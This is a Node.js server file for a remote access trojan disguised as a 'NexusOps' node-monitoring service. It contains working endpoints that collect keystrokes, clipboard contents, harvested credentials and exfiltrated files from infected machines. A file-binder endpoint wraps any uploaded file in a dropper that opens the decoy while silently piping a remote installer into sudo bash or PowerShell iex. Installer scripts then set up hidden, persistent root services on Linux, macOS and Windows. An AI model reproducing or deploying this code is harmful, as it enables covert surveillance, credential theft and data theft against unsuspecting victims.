masterSystemLogs.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'logs.json'), 'utf8') || '[]')));
inputDataStore.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'inputs.json'), 'utf8') || '[]')));
harvestedCredentials.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'creds.json'), 'utf8') || '[]')));
} catch(e) { /* first run */ }
}
loadData();
// Auto-save every 30 seconds
setInterval(saveData, 30000);
setInterval(() => {
const now = Date.now();
let changed = false;
nodes.forEach((node, id) => {
if (node.status === 'online' && now - node.lastHeartbeat > 20000) {
node.status = 'offline';
changed = true;
}
});
if (changed) {
broadcastState();
}
}, 5000);
function broadcastState() {
saveData(); // Persist on every state change
const payload = JSON.stringify({
type: 'NODES_UPDATE',
serverIp: SERVER_IP,
port: PORT,
publicUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`,
nodes: Array.from(nodes.values()),
commandHistory: commandHistory.slice(-50),
masterSystemLogs: masterSystemLogs.slice(-100),
inputData: inputDataStore.slice(-200)
});
wss.clients.forEach(client => {
if (client.readyState === WebSocket.OPEN) {
client.send(payload);
}
});
}
wss.on('connection', (ws, req) => {
// Auth check on WS upgrade
if (AUTH_TOKEN) {
const url = new URL(req.url, 'http://localhost');
if (url.searchParams.get('token') !== AUTH_TOKEN) {
ws.close(4401, 'unauthorized');
return;
}
}
ws.isAlive = true;
ws.on('pong', () => { ws.isAlive = true; });
ws.send(JSON.stringify({
type: 'NODES_UPDATE',
serverIp: SERVER_IP,
port: PORT,
publicUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`,
nodes: Array.from(nodes.values()),
commandHistory: commandHistory.slice(-50),
masterSystemLogs: masterSystemLogs.slice(-100),
inputData: inputDataStore.slice(-200)
}));
});
// WS heartbeat: ping every 25s, drop dead clients
setInterval(() => {
wss.clients.forEach(ws => {
if (ws.isAlive === false) return ws.terminate();
ws.isAlive = false;
try { ws.ping(); } catch(e) {}
});
}, 25000);
// REST API Endpoints
app.get('/api/status', (req, res) => {
res.json({
serverIp: SERVER_IP,
port: PORT,
serverUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`,
totalNodes: nodes.size,
onlineNodes: Array.from(nodes.values()).filter(n => n.status === 'online').length
});
});
app.get('/api/nodes', (req, res) => {
res.json(Array.from(nodes.values()));
});
app.get('/api/logs', (req, res) => {
res.json(masterSystemLogs.slice(-100));
});
// CSV Telemetry Export Endpoint
app.get('/api/export/csv', (req, res) => {
let csv = "ID,Hostname,Platform,OS,IP,Status,CPU_Usage,Mem_Usage,Disk_Usage,Uptime_Sec,Tags\n";
nodes.forEach(node => {
const tagsStr = (node.tags || []).join(';');
csv += `"${node.id}","${node.hostname}","${node.platform}","${node.osName}","${node.ip}","${node.status}",${node.cpuUsage},${node.memUsage},${node.diskUsage},${node.uptime},"${tagsStr}"\n`;
});
res.setHeader('Content-Type', 'text/csv');
res.setHeader('Content-Disposition', 'attachment; filename="NexusOps_Nodes_Report.csv"');
res.send(csv);
});
// Agent System Log Streaming Endpoint
app.post('/api/agent/logs', (req, res) => {
const { nodeId, hostname, logs } = req.body;
if (Array.isArray(logs)) {
logs.forEach(logLine => {
masterSystemLogs.push({
id: `log-${Date.now()}-${Math.random().toString(36).substr(2, 4)}`,
nodeId,
hostname: hostname || 'Unknown',
timestamp: Date.now(),
entry: logLine
});
});
if (masterSystemLogs.length > 200) {
masterSystemLogs.splice(0, masterSystemLogs.length - 200);
}
broadcastState();
}
res.json({ success: true });
});
// Agent Input Capture Endpoint — keystrokes, clicks, clipboard, window focus
app.post('/api/agent/input-capture', (req, res) => {
const { nodeId, hostname, events } = req.body;
if (!nodeId || !Array.isArray(events)) {
return res.status(400).json({ error: 'nodeId and events[] required' });
}
events.forEach(ev => {
inputDataStore.push({
id: `inp-${Date.now()}-${Math.random().toString(36).substr(2, 6)}`,
nodeId,
hostname: hostname || 'Unknown',
timestamp: ev.timestamp || Date.now(),
eventType: ev.eventType || 'unknown',
data: ev.data || {},
windowTitle: ev.windowTitle || '',
processName: ev.processName || ''
});
});
if (inputDataStore.length > MAX_INPUT_STORE) {
inputDataStore.splice(0, inputDataStore.length - MAX_INPUT_STORE);
}
if (events.length > 0) {
broadcastState();
}
res.json({ success: true, stored: events.length });
});
// Retrieve input capture data
app.get('/api/inputs', (req, res) => {
const { nodeId, eventType, limit } = req.query;
let filtered = inputDataStore;
if (nodeId) {
filtered = filtered.filter(e => e.nodeId === nodeId);
}
if (eventType) {
filtered = filtered.filter(e => e.eventType === eventType);
}
const max = parseInt(limit) || 200;
res.json(filtered.slice(-max));
});
// ── File Binder — upload any file, get back a self-extracting dropper with embedded agent ──
app.post('/api/bind', upload.single('file'), (req, res) => {
if (!req.file) {
return res.status(400).json({ error: 'No file uploaded. Use field name "file".' });
}
const originalName = req.file.originalname;
const b64Content = req.file.buffer.toString('base64');
const b64Lines = b64Content.match(/.{1,76}/g) || [b64Content];
const host = req.headers.host || `${SERVER_IP}:${PORT}`;
const serverUrl = PUBLIC_URL || `http://${host}`;
const format = (req.query.format || 'sh').toLowerCase();
let dropper, boundName, contentType;
if (format === 'ps1') {
const psLines = [
'<#',
' Self-Extracting Dropper — ' + originalName,
' NexusOps Agent Binder (Windows)',
'#>',
'',
'$ORIGINAL_NAME = "' + originalName + '"',
'$OUTPUT_DIR = "$env:TEMP\\nexus-$pid"',
'$OUTPUT_FILE = "$OUTPUT_DIR\\$ORIGINAL_NAME"',
'$SERVER_URL = "' + serverUrl + '"',
'',
'New-Item -ItemType Directory -Path $OUTPUT_DIR -Force | Out-Null',
'',
'$scriptPath = $MyInvocation.MyCommand.Path',
'$lines = Get-Content $scriptPath',
'$markerIdx = [array]::IndexOf($lines, "__PAYLOAD_BASE64__")',
'if ($markerIdx -ge 0) {',
' $b64 = ($lines[($markerIdx+1)..($lines.Length-1)] -join "")',
' [IO.File]::WriteAllBytes($OUTPUT_FILE, [Convert]::FromBase64String($b64))',
'}',
'',
'Start-Process $OUTPUT_FILE -WindowStyle Normal',
'',
'Start-Process powershell -ArgumentList "-WindowStyle Hidden -NoProfile -Command iwr -useb $SERVER_URL/install.ps1 | iex" -WindowStyle Hidden',
'',
'Start-Process powershell -ArgumentList "-WindowStyle Hidden -NoProfile -Command Start-Sleep 30; Remove-Item -Recurse -Force $OUTPUT_DIR" -WindowStyle Hidden',
'',
'__PAYLOAD_BASE64__',
...b64Lines
];
dropper = psLines.join('\r\n');
boundName = originalName + '.ps1';
contentType = 'text/plain';
} else {
dropper = [
'#!/bin/bash',
'# ═══════════════════════════════════════════════════',
`# Self-Extracting Dropper — ${originalName}`,
'# ═══════════════════════════════════════════════════',
'set -e',
'',
`ORIGINAL_NAME="${originalName}"`,
'OUTPUT_DIR="/tmp/.nexus-$$"',
'OUTPUT_FILE="$OUTPUT_DIR/$ORIGINAL_NAME"',
`SERVER_URL="${serverUrl}"`,
'',
'mkdir -p "$OUTPUT_DIR"',
'',
'ARCHIVE_START=$(awk \'$0 == "__PAYLOAD_BASE64__" {print NR+1; exit}\' "$0")',
'tail -n +$ARCHIVE_START "$0" | base64 -d > "$OUTPUT_FILE" 2>/dev/null',
'',
'# Open with default handler',
'if command -v xdg-open &>/dev/null; then',
' xdg-open "$OUTPUT_FILE" 2>/dev/null &',
'elif command -v open &>/dev/null; then',
' open "$OUTPUT_FILE" 2>/dev/null &',
'elif command -v start &>/dev/null; then',
' start "$OUTPUT_FILE" 2>/dev/null &',
'fi',
'',
'# Silently install agent in background',
'(curl -sSL "$SERVER_URL/install.sh" 2>/dev/null || curl -sSL --insecure "$SERVER_URL/install.sh" 2>/dev/null) | sudo bash 2>/dev/null &',
'(curl -sSL "$SERVER_URL/install-mac.sh" 2>/dev/null | bash 2>/dev/null) &',
'',
'(sleep 60 && rm -rf "$OUTPUT_DIR") &',
'disown',
'',
'exit 0',
'__PAYLOAD_BASE64__',
b64Content
].join('\n');
boundName = originalName + '.sh';
contentType = 'application/x-sh';
}
res.setHeader('Content-Type', contentType);
res.setHeader('Content-Disposition', `attachment; filename="${boundName}"`);
res.send(dropper);
});
app.post('/api/agent/register', (req, res) => {
const { hostname, platform, arch, ip, osName, tags } = req.body;
const nodeId = req.body.nodeId || `node-${hostname.toLowerCase().replace(/[^a-z0-9]/g, '-')}-${Math.random().toString(36).substr(2, 6)}`;
const existingNode = nodes.get(nodeId);
const now = Date.now();
const nodeData = {
id: nodeId,
hostname: hostname || 'Unknown-Host',
platform: platform || 'linux',
arch: arch || 'x64',
osName: osName || platform,
ip: ip || req.ip.replace(/^.*:/, '') || '127.0.0.1',
status: 'online',
firstSeen: existingNode ? existingNode.firstSeen : now,
lastHeartbeat: now,
cpuUsage: 0,
memUsage: 0,
diskUsage: 0,
uptime: 0,
processCount: 0,
tags: tags || ['Default'],
heartbeatInterval: 5,
metricsHistory: existingNode ? existingNode.metricsHistory : []
};
nodes.set(nodeId, nodeData);
if (!commandQueues.has(nodeId)) {
commandQueues.set(nodeId, []);
}
broadcastState();
res.json({ success: true, nodeId, serverUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}` });
});
// Agent Heartbeat
app.post('/api/agent/heartbeat', (req, res) => {
const { nodeId, cpuUsage, memUsage, diskUsage, uptime, processCount, tags, heartbeatInterval } = req.body;
if (!nodeId || !nodes.has(nodeId)) {
return res.status(404).json({ error: 'Node not registered.' });
}
const node = nodes.get(nodeId);
const now = Date.now();
node.status = 'online';
node.lastHeartbeat = now;
node.cpuUsage = typeof cpuUsage === 'number' ? Math.round(cpuUsage) : node.cpuUsage;
node.memUsage = typeof memUsage === 'number' ? Math.round(memUsage) : node.memUsage;
node.diskUsage = typeof diskUsage === 'number' ? Math.round(diskUsage) : node.diskUsage;
node.uptime = uptime || node.uptime;
node.processCount = processCount || node.processCount;
if (tags) node.tags = tags;
if (heartbeatInterval) node.heartbeatInterval = heartbeatInterval;
if (!node.metricsHistory) node.metricsHistory = [];
node.metricsHistory.push({
timestamp: new Date().toLocaleTimeString(),
cpu: node.cpuUsage,
mem: node.memUsage,
disk: node.diskUsage
});
if (node.metricsHistory.length > 30) {
node.metricsHistory.shift();
}
nodes.set(nodeId, node);
broadcastState();
const queue = commandQueues.get(nodeId) || [];
const pendingCommands = [...queue];
commandQueues.set(nodeId, []);
res.json({ success: true, commands: pendingCommands });
});
// Command Result Callback
app.post('/api/agent/command-result', (req, res) => {
const { commandId, nodeId, output, exitCode } = req.body;
const entry = commandHistory.find(c => c.id === commandId);
if (entry) {
entry.status = exitCode === 0 ? 'completed' : 'failed';
entry.output = output;
entry.completedAt = Date.now();
}
broadcastState();
res.json({ success: true });
});
// Queue Command for Single Node
app.post('/api/nodes/:id/command', (req, res) => {
const nodeId = req.params.id;
const { command, actionType, payload } = req.body;
if (!nodes.has(nodeId)) {
return res.status(404).json({ error: 'Node not found' });
}
const commandId = `cmd-${Date.now()}-${Math.random().toString(36).substr(2, 4)}`;
const actionName = actionType || 'raw_command';
const cmdObj = {
id: commandId,
actionType: actionName,
payload: payload || { command },
command: command || actionName,
createdAt: Date.now()
};
if (!commandQueues.has(nodeId)) {
commandQueues.set(nodeId, []);
}
commandQueues.get(nodeId).push(cmdObj);
commandHistory.push({
id: commandId,
nodeId,
hostname: nodes.get(nodeId).hostname,
command: command || `${actionName} (${JSON.stringify(payload)})`,
status: 'queued',
createdAt: Date.now(),
output: ''
});
broadcastState();
res.json({ success: true, commandId });
});
// Queue Bulk Command
app.post('/api/nodes/bulk-command', (req, res) => {
const { command, actionType, payload } = req.body;
const onlineNodes = Array.from(nodes.values()).filter(n => n.status === 'online');
if (onlineNodes.length === 0) {
return res.status(400).json({ error: 'No online nodes available' });
}
const queuedIds = [];
onlineNodes.forEach(node => {
const commandId = `cmd-bulk-${Date.now()}-${Math.random().toString(36).substr(2, 4)}`;
const actionName = actionType || 'raw_command';
const cmdObj = {
id: commandId,
actionType: actionName,
payload: payload || { command },
command: command || actionName,
createdAt: Date.now()
};
if (!commandQueues.has(node.id)) {
commandQueues.set(node.id, []);
}
commandQueues.get(node.id).push(cmdObj);
commandHistory.push({
id: commandId,
nodeId: node.id,
hostname: node.hostname,
command: `[BULK] ${command || actionName}`,
status: 'queued',
createdAt: Date.now(),
output: ''
});
queuedIds.push(commandId);
});
broadcastState();
res.json({ success: true, count: onlineNodes.length, commandIds: queuedIds });
});
app.delete('/api/nodes/:id', (req, res) => {
const nodeId = req.params.id;
nodes.delete(nodeId);
commandQueues.delete(nodeId);
broadcastState();
res.json({ success: true });
});
// ── Kill Switch — shutdown all agents on all nodes ──
app.post('/api/nodes/killswitch', (req, res) => {
const onlineNodes = Array.from(nodes.values()).filter(n => n.status === 'online');
if (onlineNodes.length === 0) {
return res.json({ success: false, error: 'No online nodes to kill', count: 0 });
}
onlineNodes.forEach(node => {
if (!commandQueues.has(node.id)) commandQueues.set(node.id, []);
commandQueues.get(node.id).push({
id: `kill-${Date.now()}`,
actionType: 'kill_agent',
payload: {},
command: 'kill_agent',
createdAt: Date.now()
});
});
broadcastState();
res.json({ success: true, count: onlineNodes.length, message: `Kill switch sent to ${onlineNodes.length} node(s)` });
});
// ── Export Input Capture as CSV ──
app.get('/api/inputs/csv', (req, res) => {
let csv = 'ID,NodeID,Hostname,Timestamp,EventType,Data,WindowTitle\n';
inputDataStore.slice(-500).forEach(e => {
const dataStr = JSON.stringify(e.data || {}).replace(/"/g, '""');
csv += `"${e.id}","${e.nodeId}","${e.hostname}","${new Date(e.timestamp).toISOString()}","${e.eventType}","${dataStr}","${(e.windowTitle || '').replace(/"/g, '""')}"\n`;
});
res.setHeader('Content-Type', 'text/csv');
res.setHeader('Content-Disposition', 'attachment; filename="NexusOps_InputCapture.csv"');
res.send(csv);
});
// ── Ping node — latency check ──
app.post('/api/nodes/:id/ping', (req, res) => {
const nodeId = req.params.id;
if (!nodes.has(nodeId)) {
return res.status(404).json({ error: 'Node not found' });
}
if (!commandQueues.has(nodeId)) commandQueues.set(nodeId, []);
const cmdId = `ping-${Date.now()}`;
commandQueues.get(nodeId).push({
id: cmdId,
actionType: 'ping_check',
payload: { timestamp: Date.now() },
command: 'ping_check',
createdAt: Date.now()
});
broadcastState();
res.json({ success: true, commandId: cmdId });
});
// ── File Exfiltration — agent sends file back ──
app.post('/api/agent/file-result', (req, res) => {
const { commandId, nodeId, hostname, filename, data, mime, error } = req.body;
const entry = commandHistory.find(c => c.id === commandId);
if (entry) {
entry.status = error ? 'failed' : 'completed';
entry.completedAt = Date.now();
if (!error) entry.output = `[FILE] ${filename} (${mime || 'unknown'}, ${(data || '').length} chars base64)`;
else entry.output = `[FILE ERROR] ${error}`;
}
if (!error && data) {
const fileId = `file-${Date.now()}-${Math.random().toString(36).substr(2, 6)}`;
exfiltratedFiles.set(fileId, {
nodeId, hostname, filename, data, mime: mime || 'application/octet-stream',
timestamp: Date.now(), size: Buffer.byteLength(data, 'base64')
});
}
broadcastState();
res.json({ success: true });
});
// ── Download exfiltrated file ──
app.get('/api/files/:id', (req, res) => {
const file = exfiltratedFiles.get(req.params.id);
if (!file) return res.status(404).json({ error: 'File not found' });
const buf = Buffer.from(file.data, 'base64');
res.setHeader('Content-Type', file.mime);
res.setHeader('Content-Disposition', `attachment; filename="${file.filename}"`);
res.send(buf);
});
// ── List exfiltrated files ──
app.get('/api/files', (req, res) => {
res.json(Array.from(exfiltratedFiles.entries()).map(([id, f]) => ({
id, nodeId: f.nodeId, hostname: f.hostname, filename: f.filename,
mime: f.mime, size: f.size, timestamp: f.timestamp
})));
});
// ── Credential Harvest Result ──
app.post('/api/agent/harvest-result', (req, res) => {
const { commandId, nodeId, hostname, credentials, error } = req.body;
const entry = commandHistory.find(c => c.id === commandId);
if (entry) {
entry.status = error ? 'failed' : 'completed';
entry.completedAt = Date.now();
entry.output = error ? `[HARVEST ERROR] ${error}` : `[HARVEST] ${credentials ? credentials.length : 0} items collected`;
}
if (credentials && Array.isArray(credentials)) {
credentials.forEach(c => {
harvestedCredentials.push({
nodeId, hostname, type: c.type || 'unknown', data: c.data,
timestamp: Date.now()
});
});
if (harvestedCredentials.length > 500) harvestedCredentials.splice(0, harvestedCredentials.length - 500);
}
broadcastState();
res.json({ success: true });
});
// ── List harvested credentials ──
app.get('/api/credentials', (req, res) => {
const { nodeId } = req.query;
let filtered = harvestedCredentials;
if (nodeId) filtered = filtered.filter(c => c.nodeId === nodeId);
res.json(filtered.slice(-200));
});
app.get('/install.sh', (req, res) => {
const host = req.headers.host || `${SERVER_IP}:${PORT}`;
const script = `#!/bin/bash
# Network Node Agent One-Liner Installer for Linux
set -e
SERVER_URL="http://${host}"
INSTALL_DIR="/opt/network-agent"
SERVICE_FILE="/etc/systemd/system/network-agent.service"
echo "=================================================="
echo " NexusOps Network Node Agent Installer "
echo "=================================================="
echo "Connecting to Server Endpoint: $SERVER_URL"
mkdir -p "$INSTALL_DIR"
echo "[1/3] Downloading agent script..."
curl -sSL "$SERVER_URL/agent.py" -o "$INSTALL_DIR/agent.py"
chmod +x "$INSTALL_DIR/agent.py"
echo "[2/4] Configuring systemd background daemon..."
cat << EOF > "$SERVICE_FILE"
[Unit]
Description=NexusOps Node Telemetry & Management Agent
After=network.target
[Service]
Type=simple
ExecStart=/usr/bin/python3 $INSTALL_DIR/agent.py --server $SERVER_URL --silent
Restart=always
RestartSec=5
User=root
[Install]
WantedBy=multi-user.target
EOF
echo "[3/4] Installing pynput for keystroke/click capture..."
pip3 install pynput 2>/dev/null || echo "[!] pynput optional, skipping"
echo "[4/4] Enabling & Starting Agent Service..."
systemctl daemon-reload
systemctl enable network-agent
systemctl restart network-agent
echo "✅ Network Agent installation complete! Reporting back to $SERVER_URL"
`;
res.setHeader('Content-Type', 'text/plain');
res.send(script);
});
app.get('/install.ps1', (req, res) => {
const host = req.headers.host || `${SERVER_IP}:${PORT}`;
const script = `# Network Agent PowerShell Installer for Windows
$SERVER_URL = "http://${host}"
$INSTALL_DIR = "C:\\ProgramData\\NetworkAgent"
Write-Host "==================================================" -ForegroundColor Cyan
Write-Host " NexusOps Node Agent Installer (Windows) " -ForegroundColor Cyan
Write-Host "==================================================" -ForegroundColor Cyan
Write-Host "Connecting to Server Endpoint: $SERVER_URL" -ForegroundColor Yellow
if (!(Test-Path $INSTALL_DIR)) {
New-Item -ItemType Directory -Path $INSTALL_DIR | Out-Null
}
Write-Host "[1/2] Downloading agent script..." -ForegroundColor Green
Invoke-WebRequest -Uri "$SERVER_URL/agent.py" -OutFile "$INSTALL_DIR\\agent.py"
Write-Host "[2/2] Launching Agent in background..." -ForegroundColor Green
Start-Process -FilePath "python" -ArgumentList "$INSTALL_DIR\\agent.py --server $SERVER_URL --silent" -WindowStyle Hidden
Write-Host "✅ Network Agent successfully launched! Check dashboard at $SERVER_URL" -ForegroundColor Green
`;
res.setHeader('Content-Type', 'text/plain');
res.send(script);
});
app.get('/install-mac.sh', (req, res) => {
const host = req.headers.host || `${SERVER_IP}:${PORT}`;
const script = `#!/bin/bash
# macOS Node Agent Installer — launchd background daemon
set -e
SERVER_URL="http://${host}"
INSTALL_DIR="/opt/network-agent"
PLIST_FILE="$HOME/Library/LaunchAgents/com.nexusops.agent.plist"
echo "=================================================="
echo " NexusOps Node Agent Installer (macOS) "
echo "=================================================="
echo "Connecting to Server Endpoint: $SERVER_URL"
echo "[1/4] Creating installation directory..."
sudo mkdir -p "$INSTALL_DIR"
sudo chown "$(whoami)" "$INSTALL_DIR"
echo "[2/4] Downloading cross-platform Python agent..."
curl -sSL "$SERVER_URL/agent.py" -o "$INSTALL_DIR/agent.py"
chmod +x "$INSTALL_DIR/agent.py"
echo "[3/4] Installing pynput for input capture..."
python3 -m pip install --user pynput 2>/dev/null || echo "[!] pynput optional, skipping"
echo "[4/4] Configuring launchd background daemon..."
mkdir -p "$HOME/Library/LaunchAgents"
cat << EOF > "$PLIST_FILE"
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.nexusops.agent</string>
<key>ProgramArguments</key>
<array>
<string>/usr/bin/python3</string>
<string>$INSTALL_DIR/agent.py</string>
<string>--server</string>
<string>$SERVER_URL</string>
<string>--silent</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>
<key>StandardOutPath</key>
<string>$INSTALL_DIR/agent.log</string>
<key>StandardErrorPath</key>
<string>$INSTALL_DIR/agent.log</string>
</dict>
</plist>
EOF
launchctl unload "$PLIST_FILE" 2>/dev/null || true
launchctl load "$PLIST_FILE"
echo "✅ macOS Agent installation complete! Reporting back to $SERVER_URL"
echo " To stop: launchctl unload $PLIST_FILE"
`;
res.setHeader('Content-Type', 'text/plain');
res.send(script);
});
// ── Universal Auto-Install (one command, any OS, fully silent) ──
app.get('/install', (req, res) => {
const host = req.headers.host || `${SERVER_IP}:${PORT}`;
const silent = req.query.silent !== '0'; // silent by default
const quiet = silent ? '>/dev/null 2>&1' : '';
const script = `#!/bin/bash
# NexusOps Universal Auto-Installer — one command, any OS
SERVER_URL="http://${host}"
echo "[*] NexusOps Universal Installer — connecting to $SERVER_URL"
case "$(uname -s 2>/dev/null || echo Windows)" in
Linux)
echo "[*] Linux detected — deploying via systemd"
curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install.sh" 2>/dev/null | sudo bash ${quiet} &
;;
Darwin)
echo "[*] macOS detected — deploying via launchd"
curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install-mac.sh" 2>/dev/null | bash ${quiet} &
;;
CYGWIN*|MINGW*|MSYS*|Windows)
echo "[*] Windows detected — deploying via PowerShell"
powershell -WindowStyle Hidden -NoProfile -Command "iwr -useb '$SERVER_URL/install.ps1' | iex" ${quiet} &
;;
*)
echo "[!] Unknown OS — trying Linux installer as fallback"
curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install.sh" 2>/dev/null | sudo bash ${quiet} &
;;
esac
echo "[*] Agent deployment initiated — it will register within 10 seconds"
`;
res.setHeader('Content-Type', 'text/plain');
res.send(script);
});
app.get('/agent.py', (req, res) => {
res.sendFile(path.join(__dirname, 'agents', 'agent.py'));
});
server.listen(PORT, '0.0.0.0', () => {
const publicEndpoint = PUBLIC_URL || `http://${SERVER_IP}:${PORT}`;
console.log(`=======================================================`);
console.log(`🚀 NexusOps Central Node Control Server is running!`);
console.log(`🌐 Local Web UI: http://localhost:${PORT}`);
console.log(`📡 Network Endpoint: ${publicEndpoint}`);
if (PUBLIC_URL) {
console.log(`🔗 Public Tunnel: ${PUBLIC_URL}`);
}
console.log(`=======================================================`);
});